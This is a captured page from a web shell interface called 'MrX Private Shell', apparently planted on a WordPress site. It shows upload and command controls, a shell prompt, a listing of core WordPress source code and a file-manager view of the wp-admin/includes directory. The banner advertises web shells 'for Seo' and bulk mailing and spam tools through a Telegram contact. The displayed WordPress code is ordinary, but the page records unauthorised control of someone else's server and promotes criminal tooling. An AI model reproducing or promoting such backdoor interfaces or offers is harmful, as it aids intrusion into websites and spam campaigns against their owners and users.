__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Upgrade API: File_Upload_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling file uploads.
 *
 * This class handles the upload process and passes it as if it's a local file
 * to the Upgrade/Installer functions.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
#[AllowDynamicProperties]
class File_Upload_Upgrader {

	/**
	 * The full path to the file package.
	 *
	 * @since 2.8.0
	 * @var string $package
	 */
	public $package;

	/**
	 * The name of the file.
	 *
	 * @since 2.8.0
	 * @var string $filename
	 */
	public $filename;

	/**
	 * The ID of the attachment post for this file.
	 *
	 * @since 3.3.0
	 * @var int $id
	 */
	public $id = 0;

	/**
	 * Construct the upgrader for a form.
	 *
	 * @since 2.8.0
	 *
	 * @param string $form      The name of the form the file was uploaded from.
	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
	 */
	public function __construct( $form, $urlholder ) {

		if ( empty( $_FILES[ $form ]['name'] ) && empty( $_GET[ $urlholder ] ) ) {
			wp_die( __( 'Please select a file' ) );
		}

		// Handle a newly uploaded file. Else, assume it's already been uploaded.
		if ( ! empty( $_FILES ) ) {
			$overrides = array(
				'test_form' => false,
				'test_type' => false,
			);
			$file      = wp_handle_upload( $_FILES[ $form ], $overrides );

			if ( isset( $file['error'] ) ) {
				wp_die( $file['error'] );
			}

			if ( 'pluginzip' === $form || 'themezip' === $form ) {
				if ( ! wp_zip_file_is_valid( $file['file'] ) ) {
					wp_delete_file( $file['file'] );

					if ( 'pluginzip' === $form ) {
						$plugins_page = sprintf(
							'<a href="%s">%s</a>',
							self_admin_url( 'plugin-install.php' ),
							__( 'Return to the Plugin Installer' )
						);
						wp_die( __( 'Incompatible Archive.' ) . '<br />' . $plugins_page );
					}

					if ( 'themezip' === $form ) {
						$themes_page = sprintf(
							'<a href="%s" target="_parent">%s</a>',
							self_admin_url( 'theme-install.php' ),
							__( 'Return to the Theme Installer' )
						);
						wp_die( __( 'Incompatible Archive.' ) . '<br />' . $themes_page );
					}
				}
			}

			$this->filename = $_FILES[ $form ]['name'];
			$this->package  = $file['file'];

			// Construct the attachment array.
			$attachment = array(
				'post_title'     => $this->filename,
				'post_content'   => $file['url'],
				'post_mime_type' => $file['type'],
				'guid'           => $file['url'],
				'context'        => 'upgrader',
				'post_status'    => 'private',
			);

			// Save the data.
			$this->id = wp_insert_attachment( $attachment, $file['file'] );

			// Schedule a cleanup for 2 hours from now in case of failed installation.
			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );

		} elseif ( is_numeric( $_GET[ $urlholder ] ) ) {
			// Numeric Package = previously uploaded file, see above.
			$this->id   = (int) $_GET[ $urlholder ];
			$attachment = get_post( $this->id );
			if ( empty( $attachment ) ) {
				wp_die( __( 'Please select a file' ) );
			}

			$this->filename = $attachment->post_title;
			$this->package  = get_attached_file( $attachment->ID );
		} else {
			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
			$uploads = wp_upload_dir();
			if ( ! ( $uploads && false === $uploads['error'] ) ) {
				wp_die( $uploads['error'] );
			}

			$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
			$this->package  = $uploads['basedir'] . '/' . $this->filename;

			if ( ! str_starts_with( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
				wp_die( __( 'Please select a file' ) );
			}
		}
	}

	/**
	 * Deletes the attachment/uploaded file.
	 *
	 * @since 3.2.2
	 *
	 * @return bool Whether the cleanup was successful.
	 */
	public function cleanup() {
		if ( $this->id ) {
			wp_delete_attachment( $this->id );

		} elseif ( file_exists( $this->package ) ) {
			return @unlink( $this->package );
		}

		return true;
	}
}

Filemanager

Name Type Size Permission Actions
admin-filters.php File 7.85 KB 0664
admin.php File 3.54 KB 0664
ajax-actions.php File 148.33 KB 0664
bookmark.php File 11.45 KB 0664
class-automatic-upgrader-skin.php File 3.58 KB 0664
class-bulk-plugin-upgrader-skin.php File 2.53 KB 0664
class-bulk-theme-upgrader-skin.php File 2.6 KB 0664
class-bulk-upgrader-skin.php File 6.59 KB 0664
class-core-upgrader.php File 14.83 KB 0664
class-custom-background.php File 21.18 KB 0664
class-custom-image-header.php File 48.13 KB 0664
class-file-upload-upgrader.php File 4.07 KB 0664
class-ftp-pure.php File 5.3 KB 0664
class-ftp-sockets.php File 8.28 KB 0664
class-ftp.php File 26.73 KB 0664
class-language-pack-upgrader-skin.php File 2.8 KB 0664
class-language-pack-upgrader.php File 15.2 KB 0664
class-pclzip.php File 192.08 KB 0664
class-plugin-installer-skin.php File 11.77 KB 0664
class-plugin-upgrader-skin.php File 3.2 KB 0664
class-plugin-upgrader.php File 22.89 KB 0664
class-theme-installer-skin.php File 12.77 KB 0664
class-theme-upgrader-skin.php File 4.08 KB 0664
class-theme-upgrader.php File 26.27 KB 0664
class-walker-category-checklist.php File 4.97 KB 0664
class-walker-nav-menu-checklist.php File 5.5 KB 0664
class-walker-nav-menu-edit.php File 13.85 KB 0664
class-wp-ajax-upgrader-skin.php File 4.09 KB 0664
class-wp-application-passwords-list-table.php File 6.79 KB 0664
class-wp-automatic-updater.php File 60.45 KB 0664
class-wp-comments-list-table.php File 32.4 KB 0664
class-wp-community-events.php File 18.24 KB 0664
class-wp-debug-data.php File 66.01 KB 0664
class-wp-filesystem-base.php File 23.84 KB 0664
class-wp-filesystem-direct.php File 17.72 KB 0664
class-wp-filesystem-ftpext.php File 22.71 KB 0664
class-wp-filesystem-ftpsockets.php File 18.05 KB 0664
class-wp-filesystem-ssh2.php File 22.76 KB 0664
class-wp-importer.php File 7.34 KB 0664
class-wp-internal-pointers.php File 4.51 KB 0664
class-wp-links-list-table.php File 9.02 KB 0664
class-wp-list-table-compat.php File 1.46 KB 0664
class-wp-list-table.php File 51.76 KB 0664
class-wp-media-list-table.php File 25.29 KB 0664
class-wp-ms-sites-list-table.php File 21.61 KB 0664
class-wp-ms-themes-list-table.php File 27.77 KB 0664
class-wp-ms-users-list-table.php File 15.35 KB 0664
class-wp-plugin-install-list-table.php File 24.54 KB 0664
class-wp-plugins-list-table.php File 56.44 KB 0664
class-wp-post-comments-list-table.php File 1.42 KB 0664
class-wp-posts-list-table.php File 63.66 KB 0664
class-wp-privacy-data-export-requests-list-table.php File 5.43 KB 0664
class-wp-privacy-data-removal-requests-list-table.php File 5.58 KB 0664
class-wp-privacy-policy-content.php File 31.9 KB 0664
class-wp-privacy-requests-table.php File 14.44 KB 0664
class-wp-screen.php File 36.47 KB 0664
class-wp-site-health-auto-updates.php File 14 KB 0664
class-wp-site-health.php File 121.89 KB 0664
class-wp-site-icon.php File 6.26 KB 0664
class-wp-terms-list-table.php File 20.73 KB 0664
class-wp-theme-install-list-table.php File 15.23 KB 0664
class-wp-themes-list-table.php File 10.14 KB 0664
class-wp-upgrader-skin.php File 6.94 KB 0664
class-wp-upgrader-skins.php File 1.44 KB 0664
class-wp-upgrader.php File 46.85 KB 0664
class-wp-users-list-table.php File 18.61 KB 0664
comment.php File 6.08 KB 0664
continents-cities.php File 20.06 KB 0664
credits.php File 5.73 KB 0664
dashboard.php File 68.18 KB 0664
deprecated.php File 40.8 KB 0664
edit-tag-messages.php File 1.44 KB 0664
export.php File 25.26 KB 0664
file.php File 95.84 KB 0664
image-edit.php File 43.12 KB 0664
image.php File 41.73 KB 0664
import.php File 6.46 KB 0664
list-table.php File 3.71 KB 0664
media.php File 116.31 KB 0664
menu.php File 9.39 KB 0664
meta-boxes.php File 64.34 KB 0664
misc.php File 44.73 KB 0664
ms-admin-filters.php File 1.27 KB 0664
ms-deprecated.php File 3.68 KB 0664
ms.php File 33.53 KB 0664
nav-menu.php File 48.84 KB 0664
network.php File 26.35 KB 0664
noop.php File 1.12 KB 0664
options.php File 4.19 KB 0664
plugin-install.php File 38.19 KB 0664
plugin.php File 91.33 KB 0664
post.php File 80.39 KB 0664
privacy-tools.php File 32.67 KB 0664
revision.php File 16.18 KB 0664
schema.php File 44.46 KB 0664
screen.php File 6.23 KB 0664
taxonomy.php File 8.23 KB 0664
template.php File 96.96 KB 0664
theme-install.php File 6.83 KB 0664
theme.php File 46.62 KB 0664
translation-install.php File 10.82 KB 0664
update-core.php File 68.86 KB 0664
update.php File 33.63 KB 0664
upgrade.php File 113.3 KB 0664
user.php File 22.98 KB 0664
widgets.php File 10.66 KB 0664
Filemanager